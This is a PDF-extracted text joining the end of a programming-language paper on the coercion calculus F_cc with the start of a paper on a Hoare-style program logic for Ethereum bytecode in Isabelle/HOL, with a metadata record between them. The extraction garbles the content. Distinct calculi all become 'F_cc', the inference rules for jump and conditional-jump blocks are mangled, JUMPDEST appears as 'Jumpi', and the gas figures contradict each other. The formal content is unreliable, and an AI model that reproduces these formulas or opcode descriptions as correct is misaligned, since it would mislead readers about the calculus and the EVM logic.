\]
This GADT is the sum of an incoherent existential type and a
type one. The incoherent existential type requires \( \alpha \) to be an
arrow type and stores a term of such type; it also names \( \pi_1 \beta \)
the argument type and \( \pi_2 \beta \) its return type. The coherent existential
type adds no constraint on \( \alpha \) but stores a pair such that its first
correspond component is of type \( \tau \); it names \( \beta \)
the intermediate type. The Term GADT contains two constructors:
one for the left-hand side of the sum injecting functions and one
for the right-hand side of the sum freezing function applications.
We can define its two constructors in the following manner:
\[
\text{Lam} x \equiv \text{inl (iunpack x)} : \forall \alpha \forall \beta (\alpha \rightarrow \beta) \rightarrow \text{Term} (\alpha \rightarrow \beta)
\]
\[
\text{App} y x \equiv \text{inr (iunpack x)} : \forall \alpha \forall \beta \forall \text{Term} (\alpha \rightarrow \beta) \rightarrow \text{Term} \alpha \rightarrow \text{Term} \beta
\]
We can now define a recursive eval function taking a term of type
\( \text{Term} \alpha \) and returning a term of type \( \alpha \) for any type variable \( \alpha \). Said
otherwise, eval has type \( \forall \alpha \forall \text{Term} \alpha \rightarrow \alpha \). When the argument
is on the left-hand side of the sum, eval simply unpacks it and
returns it. When the argument is on the right-hand side of the sum,
eval first unpacks it as a pair and applies the evaluation of the first
component to the evaluation of the second component. We thus use
the incoherent version of unpacking on the left-hand side and the
corherent version on the right-hand side.
\[
eval x = \text{case } x \text{ of } \{ \text{inl } x_1 \rightarrow \text{iunpack } x_1 \text{ as } y \text{ in } y | \text{inr } x_2 \rightarrow \text{unpack } x_2 \text{ as } y \text{ in } (\text{eval } (\pi_1 y)) (\text{eval } (\pi_2 y)) \}
\]
Let’s now suppose that we call eval with a term of type \( \text{Term} (\tau \times \sigma) \). This term is necessarily from the right-hand side of the sum
because \( \tau \times \sigma \) cannot be equivalent to an arrow type by consistency.
However, in the first branch, in the body of the inconsistent unpack,
we have access to the proposition \( \tau \times \sigma \lnot \equiv \pi_1 \beta \rightarrow \pi_2 \beta \) which is
inconsistent. This sort of inconsistency in some branches of case
expressions is frequent with GADTs. Notice however, that we can
reduce the second branch because we used a coherent existential
type since there is a witness for \( \beta \) for any instantiation of \( \alpha \).
\( \Sigma \) here is a binder and has of course no connection with \( \Sigma \) used as typing
environments.
6. Discussion
We first compare $F_{cc}$ with our prior work and other related works; we then discuss language extensions and future works.
Our version of $F_{cc}$ slightly differs from the original presentation (Cretin 2014) that has been mechanically formalized, but these are purely notational differences, such as merging type and term bindings into a single typing environment.
6.1 Comparison with $F$
The closest work is of course our previous work on $F$ of which $F_{cc}$ is an extension. The main improvement in $F_{cc}$ is the ability to abstract other arbitrary constrains, but the price to pay is to provide coercion witnesses to ensure the coherence. Notice however, that terms of $F_{cc}$ are not affected, since their coherence comes by construction and thus has trivial witnesses.
Coherence is sufficient for type soundness, but in an explicit language of coercions it does not suffice for subject reduction, which also requires that the language has a rich syntactic representation to keep track during the reduction of invariants expressed by coercions. Our approach in $F$ is to avoid the need for decomposing abstract coercions into smaller ones by presenting an implicit version of the language. This also avoids introducing new coercion constructs in the language and their associated typing rules—which we failed to prove to be sound by syntactic means in an explicit language of coercions.
Therefore, moving from $F_{cc}$ to $F_{cc}$ has a cost—the lost of an explicit calculus of coercions with subject reduction. Of course, one can still introduce explicit syntax for coercion typing rules in the source so as to ease type checking, but terms with explicit coercions will not have reduction rules in $F_{cc}$.
An interesting question is whether there are interesting languages between $F$ and $F_{cc}$ that would still have a (relatively simple) calculus of explicit coercions. If we restrict to certain forms of coercions, instead of general coercions, the question of coherence may be much simpler. For example, one could just consider equality coercions as in the language $F_{cc}$ (Weirich et al. 2011).
In $F_{cc}$, we simultaneously abstract over a group of type variables and coercions that constrain those variables. The choice of grouping must be such that the group is coherent for all possible instantiations of variables in the context.
We have also explored a syntactically more atomic version of $F_{cc}$ where type and coercion abstraction are separate constructs as in $F$ (Cretin and Rémy 2012). Namely, the usual type abstraction $\forall (\alpha) \tau$ and coercion abstraction $(\tau_1 \triangleright \tau_2) \Rightarrow \sigma$—a term of type $\sigma$ under the hypothesis $\tau_1 \triangleright \tau_2$ holds. For instance, this would permit to write a function of type $\forall (\alpha) (\alpha \to (\tau_1 \triangleright \tau_2)) \Rightarrow \sigma$ and apply it to a type parameter, then to a value of type $\alpha$, and finally to a coercion. However, this additional flexibility is negligible; these are just $\eta$-expansion variants of terms in $F_{cc}$. Moreover, related type abstractions and coercions should still be checked simultaneously. That is, even if the arguments are passed separately, the typing derivation must maintain a notion of grouping underneath so as to check for coherence. The solution in $F_{cc}$ seems a better compromise between simplicity and expressiveness.
6.2 Comparison with other works
To the best of our knowledge there is no previous work considering erasable typing coercions. Although the typing coercion $(\Sigma \vdash \tau) \triangleright \sigma$ may be simulated as the type coercion $\forall (\Sigma) \tau \triangleright \sigma$, there remain two important differences: first, this syntactical play cannot explain type and coercion generalization, and therefore, a type generalization typing rule must still be present at the term level to go from $\Gamma, \Sigma \vdash \tau$ to $\Gamma \vdash \forall (\Sigma) \tau$. Second, coercion rules such as transitivity and $\eta$-expansion rules are more natural when presented as typing coercions, since the type transformation and the environment extension of coercions are presented in parallel, while these two transformations are confused when presented as type coercions.
Some languages such as Coq or Matita enable instantiation or generalization as coercions (the output type is not polymorphic type while the input type is, or reciprocally), but these are non-erasable coercions that drive the meaning of the underlying program (Coen and Tassi 2009).
The use of type coercions to study features of type system is not at all new. Coercions have also been used in the context of subtyping, but without the notion of abstraction over coercions.
The heavy use of coercions in $F_{cc}$ (Weirich et al. 2011), the core language of GHC, was one of our initial motivations for studying coercions in a general setting. In $F_{cc}$, only toplevel coercion axioms coming from type families and newtypes are checked for consistency. Local coercion abstractions are not. This is safe because all coercion abstractions in $F_{cc}$ freeze the evaluation. This simplifies the meta-theory but at some significant cost, since the evaluation must be delayed to never reduce in a potentially inconsistent context. Our inconsistent coercions largely coincide to—and was inspired by coercions in $F_{cc}$. In return, $F_{cc}$ offers the ability to choose between coherent and incoherent coercion abstractions so that coherent coercions could be expressed as such and thus not freeze the evaluation and still bring more static guarantees to the user. While $F_{cc}$ treats coercions in the general case, $F_{cc}$ considers only a very specific case of equality constraints—with additional restrictions—so that $e.g.$ coherence of toplevel coercions axioms can be checked automatically.
Coercions have also been used to eliminate function call overhead from datatype constructors (Vanderwaart et al. 2003): the folding and unfolding of datatype definitions are done using erasable coercions, thus with no run-time effect or hidden cost while preserving the semantics.
Recursive coercions have also been used to provide coercion iterators over recursive structures by (Crary 2000). However, the motivations are quite different and coercions are only used as a tool to compile bounded quantification away into intersection types.
6.3 Variations
Kind coherence and well-formedness Kind coherence is expressed by the judgment $\Gamma \vdash \kappa$ which ensures that all coercions contained in $\kappa$ as propositions are also coherent, i.e. intuitively, that they are inhabited whenever their typing context is inhabited. This judgment play a key role in our system. In particular, it is essential in rule $\text{COERGEN}$ that the kind of the universal variable be coherence to prevent (erasable) type abstraction of an incoherent kind which would allow typing arbitrary programs, hence some erroneous ones.
However, we also require coherence of all typing contexts introduced by coercions as shown by rule $\text{WEPCOER}$ (§ 5.3). This is convenient, because we can then assume this coherence whenever we need it. However, this is also odd, because coherence is a semantics issue that we should rather not require globally during well-formedness but only as needed in premises of some typing rules. Besides, this forces all but the term judgment (thus including well-formedness judgments) to be recursively defined. An alternative presentation is also being investigated.
A surface language with explicit non-reducible coercions When coercions are left implicit they must be inferred—as well as coercion witnesses, which is obviously undecidable in the general case. (Typechecking in $F_{cc}$ or in the most expressive variant of $F_{cc}$ are already undecidable.) In practice, the user should provide both of them explicitly—or at least provide sufficient information so that they can be inferred. Hence, a surface language would have explicit coercions just for typing purposes—and coercions should be
dropped after typechecking. Indeed, in the general case, we do not know how to reduce coercions and, in particular, wedges in a type sound manner. In this setting, our soundness result still applies—reduction will not introduce erroneous programs—but it does not imply subject reduction: it may happen that after reduction there is no way to redecorate the residual program with explicit coercions to make it well-typed. This seems the price to pay for the generality offered by our approach.
There is a large degree of freedom in the design of such a surface language for $F_c$: it is always possible to be fully explicit by introducing term syntax for describing typing derivations in source terms, hence turning type inference into an easy checking process. However, this would not only contain type annotations but also full construction of coercions (information which is typically inferred in languages such as $F_c$) and of their coherence proofs (information which is usually obtained by construction). Programming at this level of detail would be too cumbersome for the programmer. Therefore, partial type inference techniques should be used so that sufficient type and coercion information can be reconstructed, but new approaches may be needed.
6.4 Extensions and variations
Higher-order types We introduced $F_c$ as an extension of System $F$, thus restricting ourselves to second-order polymorphism. We have verified that our approach extends with higher-order types as in $F_\omega$.
Intersection types It should also be possible to add intersection types. (Our semantics already has them.). Following the work of Wells and Haack (2002) on branching types, it would then be interesting to have intersection types as branching typings.
Existential types We haven’t included primitive existential types in $F_c$, but instead used their standard CPO encoding into universal types. Adding primitive existential types would also be interesting but not immediate. This is not so surprising as the combination of existential types with full reduction is known to raise difficulties.
A solution we have started to investigate is to use a reduction strategy equivalent to full reduction but where only terms starting with a constructor are substituted. This relates to existing calculi with explicit substitutions and generalizes call-by-need calculi to full reduction.
Side effects We have studied a calculus of coercions in an ideal theoretical setting, but we do not foresee any problem in applying this to a real programming language with impure features such as side effects. We are not bound to full reduction, but on the opposite have all the freedom to choose weak reduction strategies for term abstractions. In the presence of side-effects, we would need a form of value-restriction, allowing type and coercion abstractions only on value forms. We do not expect this to raise new problems with coercions—nor do we expect them to disappear!
Conclusion
Generalizing the notion of type coercions to typing coercions, we have proposed a type system where the distinction between the computation and the typing aspects of terms have been completely separated. Our approach subsumes many features of existing type systems including subtyping, bounded quantification, instance bounded quantification, and subtyping constraints.
The soundness of our calculus has been proved using the step-indexed semantics technique which we have adapted to work for calculi with full reduction, just for our needs—but it would be worth exploring this further.
As for coercions, several research directions are worth pursing: the treatment of incoherent coercion abstraction to recover con-
fluence; variations on coercion constraints allowing closed-world views; or new type system features such as dependent types.
A prerequisite for using $F_c$ in practice is finding a good surface language with explicit coercions annotations and sufficient type inference. Meanwhile, $F_c$ can still be used to explore (and perhaps simplify) languages with explicit type systems as long as their implicitly typed version is a subset of (some easy extension of) $F_c$.
Acknowledgments
We thank Gabriel Scherer for fruitful discussions on several aspects of this work.
References
|
{"Source-Url": "http://cristal.inria.fr/~remy/coercions/Cretin-Remy!fcc@lics2014.pdf", "len_cl100k_base": 13608, "olmocr-version": "0.1.49", "pdf-total-pages": 10, "total-fallback-pages": 0, "total-input-tokens": 42503, "total-output-tokens": 15738, "length": "2e13", "weborganizer": {"__label__adult": 0.0004973411560058594, "__label__art_design": 0.0005040168762207031, "__label__crime_law": 0.00033092498779296875, "__label__education_jobs": 0.0007081031799316406, "__label__entertainment": 0.00010311603546142578, "__label__fashion_beauty": 0.0002200603485107422, "__label__finance_business": 0.00019979476928710935, "__label__food_dining": 0.0005946159362792969, "__label__games": 0.0007343292236328125, "__label__hardware": 0.0007829666137695312, "__label__health": 0.0007638931274414062, "__label__history": 0.00036716461181640625, "__label__home_hobbies": 9.953975677490234e-05, "__label__industrial": 0.00049591064453125, "__label__literature": 0.0007843971252441406, "__label__politics": 0.0003159046173095703, "__label__religion": 0.0008234977722167969, "__label__science_tech": 0.027984619140625, "__label__social_life": 0.00012105703353881836, "__label__software": 0.00417327880859375, "__label__software_dev": 0.9580078125, "__label__sports_fitness": 0.0003917217254638672, "__label__transportation": 0.0006618499755859375, "__label__travel": 0.0002440214157104492}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 59324, 0.01755]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 59324, 0.4317]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 59324, 0.88227]], "google_gemma-3-12b-it_contains_pii": [[0, 6640, false], [6640, 14487, null], [14487, 20298, null], [20298, 24806, null], [24806, 29490, null], [29490, 36169, null], [36169, 39381, null], [39381, 44036, null], [44036, 52187, null], [52187, 59324, null]], "google_gemma-3-12b-it_is_public_document": [[0, 6640, true], [6640, 14487, null], [14487, 20298, null], [20298, 24806, null], [24806, 29490, null], [29490, 36169, null], [36169, 39381, null], [39381, 44036, null], [44036, 52187, null], [52187, 59324, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 59324, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 59324, null]], "pdf_page_numbers": [[0, 6640, 1], [6640, 14487, 2], [14487, 20298, 3], [20298, 24806, 4], [24806, 29490, 5], [29490, 36169, 6], [36169, 39381, 7], [39381, 44036, 8], [44036, 52187, 9], [52187, 59324, 10]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 59324, 0.06015]]}
|
olmocr_science_pdfs
|
2024-11-25
|
2024-11-25
|
3dd5e8bf3160a85ecdc0271803dd33d6c5a4acb3
|
Towards Verifying Ethereum Smart Contract Bytecode in Isabelle/HOL
Sidney Amani
Data61 (CSIRO)
NSW, Australia
Sidney.Amani@data61.csiro.au
Maksym Bortin
Data61 (CSIRO)
NSW, Australia
Maksym.Bortin@data61.csiro.au
Myriam Bégel
ENS Paris-Saclay, Université Paris-Saclay
France
Myriam.Begel@ens-paris-saclay.fr
Mark Staples
Data61 (CSIRO) & School of CSE, UNSW
NSW, Australia
Mark.Staples@data61.csiro.au
Abstract
Blockchain technology has increasing attention in research and across many industries. The Ethereum blockchain offers smart contracts, which are small programs defined, executed, and recorded as transactions in the blockchain transaction history. These smart contracts run on the Ethereum Virtual Machine (EVM) and can be used to encode agreements, transfer assets, and enforce integrity conditions in relationships between parties. Smart contracts can carry financial value, and are increasingly used for safety-, security-, or mission-critical purposes. Errors in smart contracts have led and will lead to loss or harm. Formal verification can provide the highest level of confidence about the correct behaviour of smart contracts. In this paper we extend an existing EVM formalisation in Isabelle/HOL by a sound program logic at the level of bytecode. We structure bytecode sequences into blocks of straight-line code and create a program logic to reason about these. This abstraction is a step towards control of the cost and complexity of formal verification of EVM smart contracts.
Keywords formal verification, blockchain, smart contracts, Ethereum, Isabelle/HOL
ACM Reference Format:
1 Introduction
Blockchain technology emerged to support financial transactions in the Bitcoin system, but has become increasingly important in many industries, with potential use in legal, medical, and supply chain industries. The Ethereum blockchain provides a general-purpose computational mechanism called smart contracts, which are basically programs that run on the Ethereum Virtual Machine (EVM) [21]. They and their effects are recorded in the blockchain history, and they can be used to encode or execute agreements between parties. For example, a party invoking a smart contract could cause cryptocurrency to be transferred to another party, or could record a state change which makes the other party eligible to invoke other transactions. Smart contracts provide new ways to implement blockchain-based multi-party relationships. In addition to the direct financial value, blockchains are increasingly being used for safety-critical applications such as in pharmaceutical supply chains, or for mission-critical applications such as in electrical power grids. For such reasons, it is highly desirable to know that smart contract implementations do not violate critical requirements, and formal modelling and verification can be applied in this context. To address these questions we seek:
(i) a trustworthy logical framework capable of expressing complex safety and security requirements;
(ii) a valid formal model of the EVM within the framework;
(iii) a sound program logic defined within the framework and able to reason about properties of smart contracts.
In our setting, we use the logical framework Isabelle/HOL, and an existing EVM formal model [8]. Thus, our remaining
goal is a sound program logic. In this paper we propose such a logic for EVM bytecode. We target unstructured bytecode rather than a high-level programming language for the following reasons. First, our approach is independent of any high-level language (e.g. Solidity [5]) compiler, making our work more general and significantly less reliant on the correctness of higher-level tools. Second, bytecode is the actual programming language of Ethereum as all smart contracts appear only in this form on the blockchain. Altogether, this gives us the motivation to focus on reasoning about EVM bytecode, despite the absence of convenient programming constructs like conditionals, which we take for granted in structured languages.
The main contributions of the paper are:
(i) an extension to the EVM formalisation [8] in the Isabelle/HOL theorem prover, covering smart contract correctness properties, and which gives a separate universal treatment of termination based on Ethereum’s concept of execution ‘gas’;
(ii) a sound program logic to verify smart contracts at the bytecode level; and
(iii) Isabelle tactics to support automated generation of verification conditions using the rules of the logic.
Our development is entirely formalised in Isabelle and has been accepted in the official EVM formalisation repository\(^1\) maintained by the Ethereum foundation.
The paper is structured as follows. Section 2 describes the background for the presented work. Section 3 describes how we can capture correctness properties in a pre/postcondition style for EVM bytecode programs. Section 4 is devoted to our program logic, and Section 5 shows the soundness of the logic w.r.t. the correctness property. Section 6 presents a case study, which outlines the specification and verification of properties of bytecode generated by the Solidity compiler from a high-level smart contract, as well as how we automate generation of verification conditions using Isabelle tactics. Finally, Section 7 outlines some related work and Section 8 summarises the results and gives an outlook.
2 Background
The EVM is described in the Ethereum ‘Yellow Paper’ [21], which provides a foundation not only for its implementation, but also for formalisations in logic. One such formalisation has been done [8] using the ‘meta-tool’ Lem [14], which supports a variety of theorem provers including Isabelle/HOL. Isabelle [16] is a logical framework in the form of a generic interactive theorem prover, whereas Isabelle/HOL encodes higher-order logic and is the most important and most developed part of the framework. Based on a small (meta)-logical inference kernel, Isabelle’s LCF-style architecture ensures very high confidence about its soundness as a theorem prover.
However, the EVM model [8] needs to be validated to provide confidence that it meets the specification [21]. To this end, a validation test suite accompanies the model in Lem. Using this, the actual EVM, regarded as the reference implementation of the ‘Yellow Paper’, and the OCaml code generated by Lem are both applied to a large collection of contracts, cross-checking their outputs.
As we entirely focus on the Lem output in Isabelle, we wanted to have an additional validation of this particular EVM formalisation. To this end, we also invoked Isabelle’s code generator and ran the test suite on the OCaml code generated by Isabelle.
Our ‘double-validation’ process is outlined in Figure 1. The use of the test suite from Isabelle has required some effort, mainly because of different representations of machine words: OCaml code from Lem uses efficient native modules, whereas the Isabelle side invokes a formally verified theory of machine words. Because of this, our suite needs much more time to pass the tests. Nonetheless, we gain a complementary indication that all three models of EVM follow the specification and behave equally.
3 Total Correctness of EVM Bytecode Programs
In his PhD thesis [15], Myreen introduced a general method of formal verification of machine code with a particular application to ARM. In this section we show how this general method can be adapted to EVM, with additional consideration given to EVM specific properties rooted in gas consumption.
In the general model, a state carries all the information needed to execute a program, including instructions (with respective reference numbers) constituting the program itself, a program counter that refers to the current instruction, a stack and so on. All these elements are treated uniformly as sets of so-called state elements and separated in a state using
\(^1\)https://github.com/pirapira/eth-isabelle/
separation logic conjunctions $\land^*$ (denoted by $*$ in [19]). A single machine step is captured by a function next that takes the current instruction via the program counter from the state and transforms the state in accordance with the instruction’s specified behaviour. Of course, next might not always be able to pick an instruction as an execution can have terminated properly or with an exception. This is indicated within a state by the not-continuing flag, which is just an abbreviation for the state element ContinuingElm False, as opposed to the continuing flag abbreviating ContinuingElm True. If not-continuing is present in a state, next leaves the state unchanged.
A Hoare-style property of a program $c$ is captured by a triple $\models \{P\} c \{Q\}$, where $P$ and $Q$ are separation logic predicates on the state. The triple is true iff for any state $s$ and predicate $F$ such that
$$(P \land^* code(c) \land^* F) s$$
holds, there exists a natural number $k$ such that
$$(Q \land^* code(c) \land^* F) next^k(s)$$
holds. The predicate $F$ is usually called in this context a frame, and keeping it allows us to reason about parts of states locally. code($c$) is another element specifying that the program code is present in the state, and $next^k$ denotes $k$-times iteration of next. Such triples are highly generic and we cannot conclude much from many of these, except that under given preconditions the program $c$ will pass a state satisfying $Q$. This changes immediately in cases where $Q$ is of the form not-continuing $\land^* Q'$, now stating that $c$ has reached a terminating state satisfying $Q'$. Hence, showing $\models \{P\} c \{not-continuing \land^* Q'\}$ amounts to showing termination of the program $c$ in a $Q'$-state.
This generic technique applies seamlessly to EVM programs as shown by Hirai [8]. However, we realised that showing termination of a contract individually is an unnecessary burden because Ethereum was designed in such a way that all smart contracts are guaranteed to terminate (either successfully or due to an ‘out-of-gas’ exception). More specifically, to ensure that miners get compensated for their costs incurred by operating the Ethereum blockchain, each EVM instruction has a gas fee. When invoking a contract, the initiator provides a gas budget proportional to how computationally expensive the execution is expected to be and every step of execution is deducted from the budget. If the gas consumption exceeds the budget, an ‘out-of-gas’ exception is raised, the miner keeps all of the gas and the state of the contract prior to the invocation is restored.
These blockchain specifics give us a termination order. Thus, we augment the EVM formalisation [8] by the function $next_p$ which iterates next on each state as long as possible, i.e. the continuing flag is present. Hence, the essential property we show about $next_p$ is that for any state $s$ there exists $k \geq 0$ such that
(i) $next_p(s) = next^k(s)$ holds;
(ii) for any $l$, such that $0 \leq l < k$, the state $next^l(s)$ contains continuing;
(iii) for any $l$, such that $l \geq k$, the state $next^l(s)$ contains not-continuing.
In other words, $next_p(s) = next^k(s)$ where $k$ is the least number such that $next^k(s)$ reaches a state with the not-continuing element.
Now, regarding the contract correctness, we strengthen $\models \{P\} c \{Q\}$ to a total input/output property $\models [P] c [Q]$ which is true iff for any state $s$ and frame $F$
$$(P \land^* code(c) \land^* F) s$$
implies
$$(Q \land^* code(c) \land^* F) next_p(s)$$
To sum up, what we achieved so far is to factor out the termination part which we have shown once and for all, thus removing this obligation from the verification process completely.
In the next section we will present our program logic processing EVM bytecode, which (based on soundness presented in Section 5) will give us a sound device to derive verification conditions for contract properties of the form $\models [P] c [Q]$. Although the program logic does not support general loops yet, it is worth noting that factoring out the termination part means that we would not need to provide any loop variants to establish properties since gas consumption is a variant for any EVM-loop. On the other hand, we might then need to augment our triples by an exception condition to handle cases when an ‘out-of-gas’ exception is raised during a loop iteration, thus not reaching the loop exit condition. Alternatively, we also might augment any such condition by a check of remaining gas amount, such that any loop would just exit if not enough gas is available to perform the next iteration. This approach would however require good approximations of gas consumed per iteration.
4 Program Logic
A Hoare-style program logic comprises a collection of rules that allow us to derive semantic properties of compound programs from properties of its parts. In the case of structured languages we usually have, for instance, a rule telling us that a program if $C$ then $p_1$ else $p_2$ exhibits a certain input/output behaviour if $p_1$ and $p_2$ do so, however, with the additional precondition $C$ available for $p_1$ and $\neg C$ for $p_2$. The situation is not that simple when we have to reason about EVM bytecode. At this level, a conditional compound construct appears merely as a jump instruction that transfers the flow of execution to another part of the program. In this sense, a program logic that treats the entire bytecode program simply as a list of instructions would be in principle feasible, but intricate. To this end more sophisticated techniques are available, such as decompilation via
extraction of Control Flow Graphs (CFG), in particular applied to the Java Virtual Machine (JVM) code [22]. The aim of CFG extraction is to split a program into basic blocks, i.e. sequences of instructions without jumps, and connect them using edges corresponding to jumps. The essential property of basic blocks is that they comprise straight-line code, i.e. the control flow always enters it at its first instruction and leaves only after the last one has been executed. Thus, reasoning about bytecode at the CFG-level resembles reasoning about structured programs in many aspects. In particular, a CFG provides enough structure to add annotations, such as loop invariants, enabling complete automation of the verification condition generation process.
However, full CFG extraction poses more advanced challenges in the EVM context than for JVM, especially from the formal modelling perspective. This is because JVM jump instructions take their target address as an immediate value argument which can be determined statically, whereas in EVM jump destinations must be obtained from the stack, i.e. dynamically. For that reason, our bytecode preprocessing currently addresses basic block extraction only, presented in the next section. Then, Sections 4.2, 4.3 and 4.4 present how our logic handles programs, blocks and instructions, respectively.
### 4.1 Extraction of Basic Blocks
We divide EVM instructions into three groups:
(i) **Jumpi** indicates a jump destination and hence beginning of a basic block;
(ii) **Jump**, **JumpI**, **UNKNOWN** and all of Misc-instructions\(^3\) indicate the end of a basic block (UNKNOWN and Misc-instructions interrupt program execution);
(iii) all remaining instructions.
Furthermore, we classify basic blocks with the following four types:
(i) **Terminal** — if the last instruction of the block interrupts execution;
(ii) **jump** — if the last instruction is Jump;
(iii) **Jumpi** — if the last instruction is JUMP;
(iv) **Next** — otherwise, i.e. when control passes from the last instruction of the block to the instruction with the successor address.
Figure 2 illustrates how we split EVM bytecode into basic blocks of different types, thereby indexing the blocks with addresses of their first instruction and removing all the jumps from the block contents. The entire extraction process is captured in the Isabelle development by means of the function build-blocks which maps a list of instructions to a list of tuples \((n, xs, t)\), where \(n\) is the block index, \(xs\) is the list of instructions of the block, and \(t\) is the type of the block.
\(^3\)RETURN, STOP, SUICIDE, CREATE, CALL, CALLCODE, DELEGATECALL
<table>
<thead>
<tr>
<th>block index</th>
<th>address</th>
<th>instruction</th>
<th>block type</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0</td>
<td>OR</td>
<td>Next</td>
</tr>
<tr>
<td>1</td>
<td>1</td>
<td>ADD</td>
<td></td>
</tr>
<tr>
<td>2</td>
<td>2</td>
<td>SWAP1</td>
<td></td>
</tr>
<tr>
<td>3</td>
<td>3</td>
<td>JUMPI</td>
<td>Jump</td>
</tr>
<tr>
<td>4</td>
<td>4</td>
<td>MLOAD</td>
<td></td>
</tr>
<tr>
<td>5</td>
<td>5</td>
<td>POP</td>
<td></td>
</tr>
<tr>
<td>6</td>
<td>6</td>
<td>JUMP</td>
<td></td>
</tr>
<tr>
<td>7</td>
<td>7</td>
<td>DUP3</td>
<td>Jumpi</td>
</tr>
<tr>
<td>8</td>
<td>8</td>
<td>PUSH1 0</td>
<td></td>
</tr>
<tr>
<td>10</td>
<td>10</td>
<td>ISZERO</td>
<td></td>
</tr>
<tr>
<td>11</td>
<td>11</td>
<td>JUMPI</td>
<td></td>
</tr>
<tr>
<td>12</td>
<td>12</td>
<td>POP</td>
<td>Terminal</td>
</tr>
<tr>
<td>13</td>
<td>13</td>
<td>RETURN</td>
<td></td>
</tr>
</tbody>
</table>
**Figure 2.** A program split into four basic blocks, where grey instructions appear in the original code but are removed from the list of instructions of their block.
By splitting bytecode into basic blocks no information gets lost since we can connect the produced blocks in the right order and insert jumps back in accordance with block types. More precisely, we also have the function connect-blocks such that for any bytecode program \(c\) the identity
\[
\text{connect-blocks}(\text{build-blocks } c) = c
\]
holds.
Based on these preparations, the following predicates for reasoning at different levels will be defined inductively in the following three sections:
\[
\begin{align*}
\text{blocks} \mapsto [P] (n, xs, t) [Q] & \quad \text{— at the program level} \\
\text{block} \mapsto [P] \times [Q] & \quad \text{— at the block level} \\
\text{instr} \mapsto [P] \times [Q] & \quad \text{— at the instruction level}
\end{align*}
\]
where \(P, Q\) are state predicates, \(x\) is an instruction, \(xs\) is a list of instructions, \(blocks\) is a list of basic blocks, and \((n, xs, t)\) — a basic block.
### 4.2 Program Rules
We start at the program level, where we have the following rules for each block type.
\[
(i) \quad \frac{\text{blocks} \mapsto [P] (n, xs, t) [Q]}{\text{block} \mapsto [P] \times [Q]}
\]
That is, a Terminal-block is simply passed to the level of blocks as we do not need to look at any other block after this has been processed.
Towards Verifying Ethereum Smart Contract Bytecode in
The rule for a Next-block is different in this respect:
\[
\frac{\langle P \rangle \; \text{blocks} \; \langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, x, \text{Next} \rangle \; \langle Q \rangle}
\]
The state element \( pc \) determines the program counter after \( x \) has been processed. Then we need to retrieve the next block associated to the index \( m \) from the structure \( \text{blocks} \), which is expressed by \( (m, y, t) \in \text{blocks} \), and proceed with \( (m, y, t) \).
Further, in case of a jump-block we additionally need to retrieve the address of the jump destination from the stack after the block has been processed. This yields the following, slightly more involved, rule:
\[
\frac{\langle P \rangle \; \text{blocks} \; \langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, x, \text{jump} \rangle \; \langle Q \rangle}
\]
where \( R_1 \) and \( R_2 \) abbreviate the conditions
\[
(h \leq 1022 \land g \geq 10) \land \text{continuing} \land \text{gas-pred} \land R
\]
and
\[
\text{continuing} \land \text{gas-pred} \land R
\]
respectively. Regarding the stack, \( \text{stack-height} (h + 1) \) and \( \text{stack} \) \( h \)\( j \) specify a state where index \( h \) refers to the top of the stack containing \( j \) (the jump destination we are looking for). Regarding gas, \text{gas-pred} \( g \) binds the available amount of gas to \( g \), whereas the part \( (h \leq 1022 \land g \geq 10) \) is a pure condition, i.e., not dependent on state, and sets an upper bound for the height of the stack and a lower bound for the amount of gas, namely 8 units: as much as EVM requires to perform a jump, which is deducted by \text{gas-pred} \( g \). Note that here and in the rules below we need to carry the \text{continuing} state element because the EVM model \cite{EVM} imposes having either \text{continuing} or not-\text{continuing} in a state to process instructions.
The case of a conditional jump, i.e. a Jumpi-block, is similar, except that we also need to retrieve from the stack the value \( c \) to be compared to \( 0 \) and jump only if \( c \neq 0 \):
\[
\frac{\langle P \rangle \; \text{blocks} \; \langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, x, \text{jumpi} \rangle \; \langle Q \rangle}
\]
where \( R_1, R_2, R_3 \) abbreviate the conditions
\[
\langle h \leq 1022 \land g \geq 10 \rangle \land \text{continuing} \land \text{gas-pred} \land R
\]
and
\[
\text{continuing} \land \text{gas-pred} \land R
\]
respectively.
4.3 Block Rules
At the level of basic blocks we need only two simple rules that handle the cases of non-empty and empty lists of instructions to be processed:
\[
\frac{\langle P \rangle \; \text{blocks} \; \langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, \text{x} \rangle \; \langle Q \rangle}
\]
and
\[
\frac{\langle Q \rangle}{\text{blocks} \; \langle P \rangle \; \langle n, \text{Nil} \rangle \; \langle Q \rangle}
\]
where \( P \Rightarrow Q \) means \( P \) implies \( Q \) for any state \( s \).
4.4 Instruction Rules
To be able to verify any possible EVM bytecode program we need to provide a rule for each of 70 EVM instructions. Presently we provide rules for 36 commonly used instructions, and extend this set gradually ‘on-demand’. However, the behaviour of instructions referring to the Ethereum global state, such as CALL for inter-contract calls, cannot be fully captured by the EVM state alone. As a result, in the EVM semantics (and accordingly in our logic) these instructions lead to an environment action that must be modelled separately. Such modelling is however possible and we discuss it further in Section 8.
